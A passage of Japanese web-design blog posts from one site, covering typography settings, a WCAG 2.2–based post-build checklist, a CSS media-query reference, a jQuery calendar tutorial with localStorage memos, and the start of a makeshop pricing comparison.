は数字の「0」の幅を基準にする単位で、これは半角幅です。日本語の全角文字は約2倍あるため、max-width: 40ch と書くと実際には20文字程度で折り返してしまいます。 ステップ2｜フォントサイズは16px以上から 本文は16px以上にします。14px以下は可読性が落ちるうえ、スマートフォンのSafariでは入力欄が自動ズームする原因にもなります。 画面幅に応じて連続的に変えたい場合は clamp() を使います。メディアクエリで何段も上書きするより保守が軽くなります。具体的な書き方はCSSでフォントを指定する完全ガイドにまとめています。 ステップ3｜行間は本文1.7〜1.9、見出し1.2〜1.4 WCAGの下限は1.5倍ですが、日本語は漢字の画数が多く字面が詰まって見えるため、1.7〜1.9のほうが読みやすくなります。欧文中心のサイトをそのまま日本語化すると窮屈に見えるのはこれが理由です。 見出しは逆に詰めるのが定石です。1.2〜1.4にすると塊として認識されやすくなり、本文との差が明確になります。行間は必ず単位なしの数値で指定してください。line-height: 28px のように単位を付けると、その値が子要素にそのまま継承され、サイズの違う要素で行間が破綻します。 ステップ4｜字間は本文で触らない 本文の letter-spacing は0〜0.02em程度に留めます。読みやすさのために広げたくなりますが、日本語は元々の字送りが設計されているため、大きく広げると単語のまとまりが崩れて逆効果です。 一方見出しはマイナスの字間が効きます。-0.02em 程度詰めると締まった印象になります。大きい文字ほど字間が間延びして見えるためです。 見出しの階層はサイズ比で決める 本文の4つの数値が決まったら、次は見出しです。h2・h3のサイズを場当たりに決めると階層が伝わりません。基準となる比率を1つ決めて、そこから機械的に算出します。 比率を1つ決めて掛け算する 本文サイズに一定の比率を掛け続けて各見出しのサイズを出す考え方を「モジュラースケール」と呼びます。本文16pxを起点にした例です。 要素比率1.25倍（穏やか）比率1.414倍（√2・メリハリ）本文16px16pxh320px22.6pxh225px32pxh131.2px45.2px 1.25倍は落ち着いた印象、1.414倍（白銀比）はメリハリの効いた印象になります。読み物中心のサイトは1.25前後、ランディングページのように強弱を付けたい場合は1.4以上が向きます。比率そのものの考え方は黄金比・白銀比・白金比の使い方で詳しく扱っています。 サイズ差より「余白差」のほうが効く 見出しを目立たせようとサイズばかり上げる人が多いのですが、階層を伝えているのは実はサイズではなく余白です。 原則は「見出しの上の余白を、下の余白より大きく取る」こと。見出しは直後の本文とセットで1つの塊なので、上を広く下を狭くすると、どこからどこまでが1セクションかが視覚的に伝わります。逆に上下均等だと、見出しがどちらの文章に属するのか分からなくなります。 目安は上の余白が下の2〜3倍です。サイズを上げなくても、これだけで階層はかなり明確になります。 CSSでの実装 ここまでの4つの数値をまとめると、次のようになります。そのままコピーして出発点にできます。 /* 本文の器：行長を先に固定する */ .article-body { /* 全角40文字ぶん。日本語では ch ではなく em を使う */ max-width: 40em; margin-inline: auto; padding-inline: 1rem; } .article-body p { /* 16pxを下限に、画面幅で18pxまで流体化 */ font-size: clamp(1rem, 0.948rem + 0.221vw, 1.125rem); line-height: 1.8; /* 単位なしで指定する */ letter-spacing: 0.02em; /* 本文は触りすぎない */ text-align: left; /* 両端揃えにしない */ margin-block-end: 1.8em; /* 段落間は行間より広く取る */ } .article-body h2 { font-size: clamp(1.5rem, 1.19rem + 1.33vw, 2.25rem); line-height: 1.35; /* 見出しは詰める */ letter-spacing: -0.02em; /* 大きい文字はマイナスで締める */ /* 上の余白を下の約3倍に。階層はサイズより余白で伝わる */ margin-block-start: 3em; margin-block-end: 1em; } max-width を em で指定しているのがポイントです。フォントサイズを変えると器の幅も連動して変わるため、文字数はおよそ40文字に保たれます。px で固定すると、サイズを上げたときに1行の文字数が減りすぎます。 余白そのものの設計はWebデザインにおけるホワイトスペースの重要性、カンプ前に決めておくべき数値はデザインカンプ前に決めるWebデザインのルールで扱っています。 【検証】組んだテキストが本当に読めるか確かめる CSSを書いたら、必ず実物で確認します。数値どおりに書いたつもりでも、実際の行長は親要素の幅やフォントによって変わります。 確認の手順と合否ライン 1行の文字数を実際に数える：PCの通常表示で本文を1行選択し、文字数を数える。合否＝35〜45文字に収まっていること ブラウザを200%まで拡大する：合否＝横スクロールバーが出ず、文字が重ならないこと（WCAG 1.4.8の要件） 行間を1.5倍・字間を0.12emに上書きしてみる：DevToolsのStylesで一時的に当てる。合否＝文字が要素からはみ出したり重なったりしないこと（WCAG 1.4.12のAA要件） 実機のスマートフォンで開く：合否＝1行が20文字前後に収まり、文字が小さすぎないこと ページを縮小表示して全体を眺める：合否＝見出しと本文が塊として区別できること（区別できないなら行間かサイズの差が足りない） 3番目は見落とされがちですが、レベルAAの達成基準なので実務では満たしておきたい項目です。高さを固定したボタンやカード内のテキストで、真っ先に破綻します。 不合格だった場合の直し方 症状原因次の一手1行が50文字を超える器の幅が広すぎるmax-width を 40em 前後に絞る。ch を使っているなら em に変える1行が25文字を下回るch 指定、または左右のpaddingが過大単位を確認し、padding を見直す200%拡大で横スクロールが出る固定幅の要素がある幅指定を max-width に変え、はみ出す要素を特定する行間を広げると文字が重なる高さを固定しているheight を min-height に変える見出しと本文が区別できないサイズ差・行間差が不足見出しを本文の1.5倍以上にし、行間を詰める やりがちな失敗 見た目を整えようとした結果、かえって読みにくくなるパターンです。 両端揃えで整えようとする text-align: justify は行の右端が揃うので一見きれいですが、WCAG 1.4.8では「両端揃えにしない」と明記されています。単語間の空きが行ごとにバラつき、縦方向に白い川（リバー）ができて視線が乱れるためです。日本語は約物の調整も入るため、意図しない間延びが起きます。 長文を中央揃えにする 中央揃えは行頭の位置が毎行変わるため、視線が次の行頭を探す手間が増えます。3行を超えるテキストには使わないでください。キャッチコピーや見出しなど、1〜2行で完結する箇所に限定するのが安全です。 見出しと本文で同じ行間を使う body に line-height: 1.8 を書いたきり、見出しに上書きしていないケースです。見出しは文字が大きいぶん、同じ倍率では行間が開きすぎて塊に見えません。2行以上になる見出しで特に目立ちます。見出しには必ず個別に行間を指定してください。 書体を増やしすぎる 1ページで使う書体は2種類までが目安です。見出しと本文で分けるか、1書体のウェイト違いで階層を作れば十分に成立します。書体が増えるほど統一感が失われ、読み込むWebフォントの容量も増えます。書体選びの基準はWebデザインのためのフォント選び完全ガイド、比率で余白や大きさを決める考え方は黄金比・白銀比・白金比の使い方を参照してください。 ### [Webデザインの基礎点検｜症状から直す領域を逆引きする](https://codequest.work/9-essential-web-design-basics/) Webデザインの基礎は、読んで覚えた時点ではまだ使えるようになっていません。作り終えた画面に当てはめて「守れているかどうか」を1つずつ確かめたときに、はじめて手元の仕事に効く知識になります。ところが完成後の点検は、見る順番と合否の基準が決まっていないと、「なんとなく素人っぽい」「もう少し垢抜けさせたい」といった印象の言い合いで終わってしまいます。 Webデザインの基礎点検とは、完成した画面に出ている症状から疑うべき領域を逆引きし、その領域ごとに決まった合否ライン（数値）で合格・不合格を出す作業です。領域は「読める」「触れる・たどれる」「崩れない」「速い」の4つに整理でき、合否ラインの大半はW3CのWCAG 2.2とCore Web Vitalsという公開された基準から取れます。基準が外にあるので、判定が人によってぶれません。 この記事はその地図です。役割をはっきりさせておくと、何を・どの順で測るかだけを決め、どう測るか（開発者ツールの操作やコンソールで走らせるコード）は書きません。測り方は領域ごとの記事が持っているので、測る段になったらそちらへ渡します。合否ラインの根拠にはW3C勧告のWCAG 2.2（2024年12月12日勧告）、web.dev、Google検索セントラルを使い、いずれも2026年8月2日に原文を確認しています。 基礎が守れているかは、作ったあとに測って決まる Webデザインの制作は、大きく「参考を集めて当たりを付ける」「数値を決める」「作る」「点検する」の順に進みます。このうち点検だけが、ほかの工程と決定的に違う性質を持っています。ほかの工程は自分の判断で正解を作りますが、点検は外にある基準に自分の画面を当てて、合否が向こうから返ってくる工程だからです。だから点検は最後に置くしかなく、そして最後に置くからこそ、前の工程で決めた数値がそのまま守られているかを確認できます。 工程そこで決まること本記事の担当着手前（参考集め・ワイヤー）何を作るかの当たりと、共通構造の型扱わないカンプ前（数値を決める）ウィンドウ幅・コンテンツ幅・カラム設計などの基準値扱わない完成後（本記事）決めた基準と公開されている基準を満たしているか扱う測定の実作業開発者ツールでの値の取り方と再現手順各領域の記事へ渡す工程ごとの担当範囲（本記事の整理） 前工程にあたる「数値を決める」側は別記事が担当しています。ウィンドウ幅・コンテンツ幅・カラム設計といった土台の数字は、デザインカンプ前に決めるWebデザインのルールで先に固めてください。この記事はその数字を決める側ではなく、決まった数字が守られているかを測る側です。逆に言えば、基準値を決めないまま点検に入ると「何と比べて不合格なのか」が言えなくなります。 点検にはもう1つ、数値では出せない側面があります。「情報の優先順位が、装飾ではなく構造に載っているか」です。こちらは色を剥ぐ・ぼかす・強弱を剥ぐという主観テストで確かめる領域で、UIデザインの構造・視覚・文字を剥ぎ取りテストで検品するが担当しています。同じ「完成後の点検」でも、あちらは順位が読み取れるかという主観判定、この記事は数値の合否ラインという分担です。両方を通してはじめて点検が一巡します。 なお、構図・配色・作業効率化までを含めたデザイン全体の入口は デザインガイド にまとめてあります。この記事はその下にある「基礎の点検」だけを担当する枝です。 症状から、疑う領域を引く 点検を「全部を上から見る」で始めると、たいてい途中で力尽きます。実務で先に手元にあるのは、レビューで言われた一言や自分が感じた違和感、つまり症状です。症状は領域と対応しているので、そこから逆に引けば、見る場所を最初から絞れます。 症状疑う領域最初に確かめる値なんとなく素人っぽい・情報が団子に見える文字組みと余白行間・段落間の設定値と、要素間の余白の刻み文字が読みにくい・目が滑る文字と背景のコントラストコントラスト比 4.5:1注釈や補助テキストだけ読み飛ばされる淡色テキストのコントラストコントラスト比 4.5:1ボタンかどうか分からないと言われるUI部品の輪郭のコントラスト隣接色に対して 3:1探しているものに行き着かないナビゲーションと到達手段到達手段が2通り以上あるか／繰り返しナビの並び順キーボード操作で今どこにいるか分からないフォーカス表示フォーカス枠が見えるか／固定要素に完全に隠れないかスマートフォンで横に切れる・横スクロールが出る幅の耐性幅320 CSSピクセル相当で2方向スクロールが出ないか文字を大きくすると崩れる拡大の耐性200%拡大で内容と機能が落ちないか押しにくい・誤タップされるターゲットサイズ24×24 CSSピクセル重い・読み込み中に要素が飛ぶ表示性能LCP 2.5秒／INP 200ミリ秒／CLS 0.1症状から疑う領域を引く早見表（合否ラインの根拠は次章以降） 領域が決まったら、次は2つに分かれます。合否を出すだけなら、この記事の次章以降の合否ラインで足ります。不合格だった領域を作り直す、あるいは値の取り方そのものを知りたい場合は、領域ごとの記事へ進んでください。この記事から先の深掘り先は次のとおりです。 文字組み（行間・字送り・見出しと本文の比）を数値で決め直す — タイポグラフィの基本とデザイン活用術 配色そのものを組み直す・パレットを作る — 色彩設計の基本｜配色理論とカラーパレット実装例 余白が足りているか、詰まりの原因はどこかを見る — Webデザインにおけるホワイトスペースの重要性と活用方法 並びが崩れているときにグリッドを組み直す — グリッドレイアウトの基本と組み方 画面幅ごとの切り替えを作り直す — レスポンシブデザイン入門｜スマホ対応の基本原則 タップ領域・コントラスト・320px幅を実際に測る手順を知る — UIの合否を数値で出す｜タップ領域・コントラスト・320px幅の実測手順 到達できるか・今どこにいるかが分かるかを測る — ナビゲーションの作り方と最適化 WCAG 2.2の全体像と、自動チェックで拾えない範囲を押さえる — Webアクセシビリティの基本｜WCAG 2.2と法改正への対応 指標そのものの定義と目標値、下げ方を知る — Core Web Vitalsの改善ガイド 転送圧縮・キャッシュ・HTTP/2・画像フォーマットの配信設定が現行水準かを1回のリクエストで判定する — サイト高速化の配信設定点検 「読める」の合否ライン 最初に見るのは「読めるか」です。読めない画面は、ほかの領域が全部合格でも使えません。ここでの合否ラインは、W3CのWeb Content Accessibility Guidelines (WCAG) 2.2（W3C勧告、2024年12月12日／2026年8月2日に原文確認）のレベルAAから取ります。 対象合否ライン根拠（WCAG 2.2・レベルAA）本文テキストと背景コントラスト比 4.5:1 以上達成基準 1.4.3 Contrast (Minimum)大きな文字と背景コントラスト比 3:1 以上達成基準 1.4.3（大きな文字＝18ポイント以上、または太字14ポイント以上）行間1.5倍・段落間2倍・字間0.12倍・語間0.16倍を外から当てた状態内容と機能が失われない達成基準 1.4.12 Text Spacing「読める」の合否ライン（出典: W3C WCAG 2.2） 1.4.3の原文は「The visual presentation of text and images of text has a contrast ratio of at least 4.5:1」で、例外は大きな文字・付随的なテキスト・ロゴタイプの3つです。大きな文字の定義は「18ポイント以上、または14ポイントの太字、あるいは日本語・中国語・韓国語のフォントで同等の大きさになるサイズ」と明記されています。ポイント指定で書かれている点に注意してください。CSSのpxとポイントは同じ単位ではないため、境界に近いサイズでは「大きな文字扱いにできるか」を確かめてから3:1を当てる必要があります。迷ったら4.5:1で判定するほうが安全です。 1.4.12は誤解されやすい基準です。「行間を1.5倍にしなさい」という要求ではありません。原文は「No loss of content or functionality occurs by setting line height to 1.5 times the font size…」で、読者側がその値を上書きしたときに壊れないことを求めています。つまり判定対象はデザインの好みではなく、高さを固定した箱に文字を詰めていないかです。落ちる場合はほぼ確実に、固定高さのボタンやカードが原因になります。 コントラストで落ちたときの直し方は2通りあります。その色だけを濃くする対症療法か、配色の設計に戻るかです。淡色の注釈や薄いグレーのプレースホルダーが複数箇所で落ちているなら、個別に濃くしても再発します。パレットの段階から組み直す話は 色彩設計の基本 に、行間や見出しと本文の比を数値で決め直す話は タイポグラフィの基本とデザイン活用術 にあります。 本文の最小フォントサイズは合否ラインに入れない 「本文は16px以上」という決まりを見かけますが、WCAG 2.2に本文の最小フォントサイズを定めた達成基準はありません。2026年8月2日にWCAG 2.2の原文を確認した範囲でも、文字サイズに関する要求は1.4.4 Resize Text（200%まで拡大できること）であり、絶対値の下限ではありませんでした。16pxという数字自体は実務上の妥当な習慣ですが、根拠はアクセシビリティ標準ではなく別のところにあります。ここでは公的な基準に紐づく項目だけを合否ラインとして扱い、実務上の推奨値は前工程（カンプ前に決める数値）の側に置きます。この線を引いておかないと、「基準違反」と「好みの相違」が混ざり、レビューで話が通らなくなります。 「触れる・たどれる」の合否ライン 読めることを確認したら、次は操作と移動です。ここは見た目のスクリーンショットでは合否が出ない領域で、実際に指で押す、キーボードで送る、別のページから戻ってくるといった動きを伴います。合否ラインは同じくWCAG 2.2のレベルAAです。 対象合否ライン根拠（WCAG 2.2・レベルAA）ポインタ操作のターゲット24×24 CSSピクセル以上（例外あり）達成基準 2.5.8 Target Size (Minimum)／2.2の新規基準UI部品や図形の、識別に必要な部分隣接色に対してコントラスト比 3:1 以上達成基準 1.4.11 Non-text Contrastキーボードフォーカスフォーカス位置が見えるモードがある達成基準 2.4.7 Focus Visibleフォーカスを受けた部品作者側のコンテンツで完全には隠れない達成基準 2.4.11 Focus Not Obscured (Minimum)／2.2の新規基準そのページへの到達手段2通り以上ある（プロセスの途中を除く）達成基準 2.4.5 Multiple Ways複数ページで繰り返されるナビゲーション毎回同じ相対順序で現れる達成基準 3.2.3 Consistent Navigation「触れる・たどれる」の合否ライン（出典: W3C WCAG 2.2） 2.5.8には5つの例外が明記されています。間隔（24 CSSピクセル径の円を各ターゲットの中心に置いても他のターゲットと重ならない）、等価（同じ機能を果たす別のコントロールが基準を満たしている）、インライン（文中にあり、行の高さに制約される）、ユーザーエージェント制御（作者が変更していない）、必須（その表示が本質的、または法的に要求される）の5つです。 ### [メディアクエリの基本と活用法｜レスポンシブデザインを簡単に実現する方法](https://codequest.work/media-queries-basics-and-usage/) メディアクエリとは、CSSの @media 規則で条件を書き、その条件が真のときだけ中のスタイルを適用する仕組みです。最小の形は @media (min-width: 768px) { … } で、メディアタイプ（screen など）は必須ではありません。 この記事は @media という文法そのものの入門リファレンスです。メディアクエリを構成する3つのパーツ（メディアタイプ・メディア特性・論理演算子）を定義から確認し、そのまま動く最小の1本を書き、書いたのに効かないときにDevToolsのどこを見るかまでを扱います。ブレークポイントを何pxに置くかという設計判断や、比較演算子で書くrange構文は別記事の担当なので、該当箇所でリンクします。掲載しているコードと数値はすべて Chrome 150（macOS・Playwright で実ブラウザを操作）で実行して確認しました（測定日: 2026年8月2日）。 メディアクエリとは何か（@media が何をする規則か） @media は、スタイルに適用条件を付けるための入れ物です。ブラウザは @media のカッコの中を評価し、真ならブロック内の宣言を通常のCSSとして扱い、偽なら無かったことにします。判定に使えるのはビューポートの幅や高さ、向き、画素密度、入力機器の種類、OSのダークモード設定などです（MDN: メディアクエリの使い方／2026年8月2日閲覧）。 重要なのは、@media は「どの端末か」を判定していないという点です。判定しているのは、いまブラウザが描画に使っている領域（ビューポート）の性質です。PCでウィンドウを狭めれば、スマートフォン向けに書いたつもりのブロックがそのまま当たります。 最初の1本：ビューポート幅で見た目を切り替える まず動くものを1本書きます。ベースのスタイルを先に書き、条件が真のときだけ上書きする、という2段構えが基本形です。 .panel { background-color: #eeeeee; padding: 24px; } /* ビューポート幅が768px以上のときだけ上書きする */ @media (min-width: 768px) { .panel { background-color: lightblue; } } 幅を変えながら .panel の背景色を読んだ結果です。min-width: 768px は768pxちょうどを含みます（「以上」であって「より大きい」ではない）。 ビューポート幅背景色の実測値判定375pxrgb(238, 238, 238)ベースのまま767pxrgb(238, 238, 238)ベースのまま768pxrgb(173, 216, 230)上書きが当たる（境界を含む）769pxrgb(173, 216, 230)上書きが当たる1200pxrgb(173, 216, 230)上書きが当たる このコードには screen が付いていません。付けなくても動きます。むしろ付けないほうが素直な理由は次の章で扱います。 効かないときに真っ先に見るのは viewport メタタグ 「PCのブラウザを狭めると効くのに、スマートフォンの実機だけ効かない」という症状の原因は、ほぼ確実に <head> の1行が抜けていることです。 <meta name="viewport" content="width=device-width, initial-scale=1"> この行が無いと、モバイルブラウザはビューポート幅を実機の幅ではなく既定値として扱います。同じCSSを、この1行の有無だけ変えてiPhone相当の環境（390×844・デバイスピクセル比3）で測った結果です。 viewport メタタグdocumentElement.clientWidthmatchMedia('(max-width: 768px)')スタイルの適用無し980false当たらない有り390true当たる 実機で幅390pxのはずの端末が、CSSからは980px幅として見えています。この状態では max-width: 768px は永久にマッチしません。Googleもモバイル ファースト インデックスの前提として、ページがモバイル端末で正しくレンダリングされることを求めています（Google 検索セントラル: Mobile-first indexing best practices／2026年8月2日閲覧）。属性値の意味や user-scalable を指定してよいのかといった設計判断はレスポンシブデザイン入門で扱っています（MDN: viewport メタタグ／2026年8月2日閲覧）。 @media は3つのパーツでできている メディアクエリの文法は、W3C の Media Queries Level 4 が次のように定義しています（CSS Media Queries Level 4: Syntax／2026年8月2日閲覧）。 <media-query> = <media-condition> | [ not | only ]? <media-type> [ and <media-condition-without-or> ]? 読み方は「条件だけを書く形が第一の選択肢で、メディアタイプを書く形は第二の選択肢」です。多くの入門記事が @media メディアタイプ and (条件) を基本構文として示していますが、仕様上はそちらのほうが派生形にあたります。ここから、メディアクエリを構成する3つのパーツを順に見ていきます。 パーツ1：メディアタイプ（省略できる。screen は印刷を切る） メディアタイプは「出力先の大分類」です。いま有効なのは3つだけです（W3C: Media Queries Level 4 2.3 Media Types／2026年8月2日閲覧）。 メディアタイプ意味allすべての出力先にマッチするprintプリンタ、および印刷プレビューやPDF出力のように印刷結果を再現する表示screenprint にマッチしないすべての出力先 古い解説に出てくる handheld / tv / projection / tty / braille / embossed / aural / speech は廃止済みです。仕様は「ユーザーエージェントはこれらを有効な値として認識しなければならないが、何にもマッチさせてはならない」と定めています。実測でも @media handheld and (min-width: 768px) は、幅1000pxでも幅500pxでも印刷でも一度も適用されませんでした。エラーは出ないので、スマートフォン向けのつもりで handheld と書くと、その中のCSSは丸ごと死にます。 そしてメディアタイプは省略できます。省略した場合は all を書いたのと同じ扱いになり、画面でも印刷でも評価されます。逆に screen を付けると、印刷プレビューとPDF出力ではそのブロックが効かなくなります。次のコードで違いを確かめられます。 /* 画面でも印刷でも効く */ @media (min-width: 768px) { .a { outline: 2px solid green; } } /* 画面だけ。印刷プレビューやPDF出力では効かない */ @media screen and (min-width: 768px) { .b { outline: 2px solid green; } } 幅1000pxで、画面表示と印刷エミュレートを切り替えて測った結果です。 要素画面表示（幅1000px）印刷エミュレート（幅1000px）.a（タイプ省略）outline-style: solidoutline-style: solid.b（screen あり）outline-style: solidoutline-style: none レイアウト調整のメディアクエリを全部 @media screen and … で書いていると、そのページを印刷したときにレイアウト調整が丸ごと外れます。「画面専用にしたい」という明確な意図が無いなら、screen は書かないのが安全です。逆に、印刷時だけ広告や固定ヘッダーを消したいときは @media print { … } を使います。 パーツ2：メディア特性（何を条件にできるか） メディア特性は、カッコの中に書く条件そのものです。必ずカッコで囲みます。 特性には「range 型」と「discrete 型」の2種類があり、range 型だけが min- / max- の接頭辞を受け付けます。orientation のような discrete 型に min- を付けると存在しない特性名になり、その条件は永久に偽になります。 実務で使う主なメディア特性を一覧にします（MDN: @media／2026年8月2日閲覧）。 メディア特性何を見るか型書き方の例width / heightビューポートの幅・高さ（幅はスクロールバーを含む）range(min-width: 768px)aspect-ratioビューポートの縦横比range(min-aspect-ratio: 16/9)orientationheight と width の大小関係discrete(orientation: portrait)resolution出力デバイスの画素密度range(min-resolution: 2dppx)hover主たる入力機器でホバーできるかdiscrete(hover: hover)pointer主たる入力機器の精度discrete(pointer: coarse)any-hover / any-pointer利用可能なすべての入力機器（主たるものに限らない）discrete(any-hover: hover)color / monochrome色深度・モノクロ階調のビット数range(min-color: 1)update表示を更新できる頻度（電子ペーパー等の判別）discrete(update: slow)overflow-blockブロック方向にあふれた内容の扱い（ページ送りか連続スクロールか）discrete(overflow-block: paged)prefers-color-schemeOSのライト／ダーク設定（Level 5）discrete(prefers-color-scheme: dark)prefers-reduced-motionアニメーション低減の設定（Level 5）discrete(prefers-reduced-motion: reduce)prefers-contrastコントラスト強調の設定（Level 5）discrete(prefers-contrast: more)scriptingJavaScriptが有効かどうか（Level 5）discrete(scripting: enabled)display-modePWAの表示モード（Level 5）discrete(display-mode: standalone) 逆に、古い解説に出てくる device-width / device-height / device-aspect-ratio は Media Queries Level 4 で非推奨になりました。これらは端末画面そのものの大きさを見るため、ブラウザのウィンドウサイズと連動しません。幅で切り替えたいときは必ず width（＝ビューポート幅）を使います。 prefers-color-scheme や prefers-reduced-motion をどう実装に落とすかは、レスポンシブ設計側の話としてレスポンシブデザイン入門にまとめてあります。 ### [jQueryで簡単に作成できるカレンダーデモアプリ｜メモ機能付き](https://codequest.work/jquery-calendar-app/) 最近、Webアプリケーションでカレンダーを使いたいシーンが増えてきました。例えば、スケジュール管理やイベントの追加、日付の確認など、ユーザーインターフェースにカレンダーを組み込む場面は多岐にわたります。今回は、jQueryを使って簡単にカレンダーアプリを作成し、メモ機能も実装する方法をご紹介します。このチュートリアルでは、カレンダーが月ごとに切り替わり、日付をクリックしてメモを残せるようにします。 See the Pen Untitled by masakazuimai (@masakazuimai) on CodePen. jQueryでカレンダーアプリを作成するメリット 1. シンプルで直感的な操作 jQueryを使えば、DOM操作が簡単に行えるため、カレンダーの月切り替えや日付クリックイベントの処理が非常にシンプルになります。JavaScriptを手動で書くよりも、コード量が少なく済み、読みやすくなります。 2. クロスブラウザ対応 jQueryは長年の利用実績があり、クロスブラウザ対応がしっかりしています。新しいブラウザや古いブラウザでも、予期せぬ動作をすることなく、安定した動作を実現できます。 3. カスタマイズしやすい jQueryを使って作成したカレンダーは、デザインや機能を簡単にカスタマイズできます。例えば、背景色やフォントを変更したり、イベントの追加や削除機能を実装することも容易です。 実装するカレンダーの機能 このチュートリアルでは、以下の基本的な機能を持ったカレンダーを作成します。 月の切り替え：前月・次月ボタンを使って、カレンダーの月を切り替えられる機能。 日付クリックでメモを保存：日付をクリックすると、その日にメモが残せるポップアップが表示され、メモをlocalStorageに保存する機能。 メモの削除：保存したメモを削除できる機能。 jQueryカレンダーアプリの作成手順 1. HTMLとCSSで基本レイアウト まず、カレンダーを表示するための基本的なHTML構造を作成します。月名や日付を表示するためのdiv要素を配置し、カレンダーのヘッダー部分に「前月」と「次月」のボタンを配置します。 <div id="calendar"> <div id="calendar-header"> <button id="prev-month">前月</button> <h2 id="month-name"></h2> <button id="next-month">次月</button> </div> <div id="calendar-body"> <div class="weekdays"> <div class="sunday">日</div> <div>月</div> <div>火</div> <div>水</div> <div>木</div> <div>金</div> <div class="saturday">土</div> </div> <div id="days"></div> </div> </div> 次に、カレンダーのスタイルを指定します。背景色やボタンのスタイル、日付セルのデザインを指定して、カレンダーが見やすくなるようにします。 #calendar { width: 350px; background-color: #e0e5ec; border-radius: 20px; box-shadow: 8px 8px 15px #a3b1c6, -8px -8px 15px #ffffff; padding: 20px; } #calendar-header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 20px; } button { padding: 10px; background-color: #e0e5ec; border: none; border-radius: 10px; box-shadow: 4px 4px 10px #a3b1c6, -4px -4px 10px #ffffff; cursor: pointer; transition: all 0.3s ease; } button:hover { box-shadow: 2px 2px 5px #a3b1c6, -2px -2px 5px #ffffff; } 2. jQueryで動的なカレンダー機能を追加 次に、jQueryを使用して、月切り替え機能や日付クリックイベントを実装します。 $(document).ready(function() { let currentYear = new Date().getFullYear(); let currentMonth = new Date().getMonth(); // 月名を表示する関数 function displayMonth() { const monthNames = ["1月", "2月", "3月", "4月", "5月", "6月", "7月", "8月", "9月", "10月", "11月", "12月"]; $("#month-name").text(`${currentYear}年 ${monthNames[currentMonth]}`); } // カレンダーを描画する関数 function renderCalendar() { const days = []; const firstDayOfMonth = new Date(currentYear, currentMonth, 1); const firstDayWeekday = firstDayOfMonth.getDay(); const daysInMonth = new Date(currentYear, currentMonth + 1, 0).getDate(); // 空白の日付を追加 for (let i = 0; i < firstDayWeekday; i++) { days.push(''); } // 日付を追加 for (let i = 1; i <= daysInMonth; i++) { days.push(i); } // カレンダーに日付を表示 $("#days").empty(); days.forEach((day, index) => { const $dayDiv = $("<div>").text(day).addClass('day'); if (day !== '' && localStorage.getItem(`memo-${day}`)) { $dayDiv.addClass('has-memo'); } $dayDiv.on('click', function() { openMemoPopup(day); }); $("#days").append($dayDiv); }); } // メモポップアップを開く function openMemoPopup(day) { selectedDate = day; const storedMemo = localStorage.getItem(`memo-${selectedDate}`); $("#memo-text").val(storedMemo ? storedMemo : ''); $("#note-popup").show(); } // 前月ボタン $("#prev-month").on('click', function() { currentMonth--; if (currentMonth < 0) { currentMonth = 11; currentYear--; } displayMonth(); renderCalendar(); }); // 次月ボタン $("#next-month").on('click', function() { currentMonth++; if (currentMonth > 11) { currentMonth = 0; currentYear++; } displayMonth(); renderCalendar(); }); // 初期表示 displayMonth(); renderCalendar(); }); 3. メモ機能の実装 ユーザーが日付をクリックすると、ポップアップが表示され、その日にメモを追加できます。localStorageに保存されたメモを読み込み、更新できるようにします。 // メモ保存 $("#save-memo").on('click', function() { const memoKey = `memo-${selectedDate}`; localStorage.setItem(memoKey, $("#memo-text").val()); alert("メモが保存されました"); $("#note-popup").hide(); renderCalendar(); }); // メモ削除 $("#delete-memo").on('click', function() { const memoKey = `memo-${selectedDate}`; localStorage.removeItem(memoKey); alert("メモが削除されました"); $("#note-popup").hide(); renderCalendar(); }); よくある質問（FAQ） Q. jQueryでカレンダーを自作するメリットは？ ライブラリに依存しないため軽量で、デザインの完全なカスタマイズが可能です。DateオブジェクトやDOMの操作を実践的に学べるため、JavaScriptの理解を深める教材としても最適です。 Q. jQueryは2026年でもまだ使われていますか？ はい。WordPressに同梱されているため、WordPress案件ではjQueryの知識が必要です。ただし、新規プロジェクトではVanilla JSやReact/Vueに移行する傾向が強いため、jQueryに依存しないコーディング力も磨いてください。 ### [makeshopの料金と損益分岐｜BASE・カラーミー・Shopifyと実額比較](https://codequest.work/makeshop-ec-platform/) makeshop（メイクショップ／旧表記 MakeShop）は、GMOメイクショップ株式会社が提供するASP型のECサイト構築サービスです。販売手数料は0円ですが、そのぶん固定費が高く、プレミアムプランではショップ月額13,750円（税込）にクレジットカード決済の月額1,650円が加わり、毎月15,400円が売上に関係なく発生します。 つまりmakeshopは「安いカート」ではなく「売れるほど有利になるカート」です。したがって判断材料は機能の数ではなく、自分の月商でどのカートの実効コスト率が最も低くなるかの一点に絞れます。 この記事では、makeshop・BASE・カラーミーショップ・Shopifyの各公式ページから2026年8月2日に取得した現行価格だけを使い、損益分岐となる月商を計算します。掲載した数値にはすべて出典URLと取得日を付けています。自社に不利な結論（makeshopが常に高くなる相手がいること）も削らずに書きます。 結論｜makeshopが安くなるのは月商いくらからか 先に答えを出します。makeshopプレミアム（固定費15,400円／カード決済3.19%〜）を基準に、主要なASPカートとの損益分岐点を計算すると次のようになります。計算式と前提は後述の検証章で全部開示しています。 比較するプラン分岐点の月商分岐点を超えたときに安いのはBASE スタンダード約36.6万円makeshopBASE グロース（年払）約40.7万円BASEグロース（向きが逆）カラーミーショップ ラージ分岐点なし常にカラーミー（月5,805円差）カラーミーショップ レギュラー約498万円makeshopShopify ベーシック（年払）約326万円makeshop 読み方は3つです。第一に、BASEスタンダードのような固定費0円のカートに対しては、月商およそ33〜40万円を超えたところでmakeshopが逆転します（幅があるのはBASEに1注文40円の従量手数料があり、客単価で分岐点が動くためです）。 第二に、BASEグロースだけは向きが逆です。makeshopのほうが固定費は安く手数料率は高いため、月商が約40.7万円を超えると今度はBASEグロースのほうが安くなります。 第三に、カラーミーショップ ラージに対しては分岐点が存在しません。カード決済手数料が同じ3.19%〜で、固定費だけが月5,805円高いためです。月商がいくら増えても、この差は縮まりません。makeshopを選ぶ理由は価格ではなく、機能とサポートとエンタープライズへの伸びしろのほうにあります。 makeshopの実額（2026年8月時点） makeshopの一般向けプランはプレミアムとエンタープライズの2つです。公式の料金表は税込表記で統一されています。 項目プレミアムエンタープライズ月額費用（税込）13,750円55,000円〜初期費用（税込）11,000円11,000円〜商品登録数10,00050,000販売手数料0円0円副管理者ID5アカウント〜20アカウントまで無料画像サーバー100MB（最大10GB）30GBメールアカウント3アカウント10アカウント配送方法の登録数15種類50種類 出典：makeshop公式「料金プラン」（2026年8月2日取得） 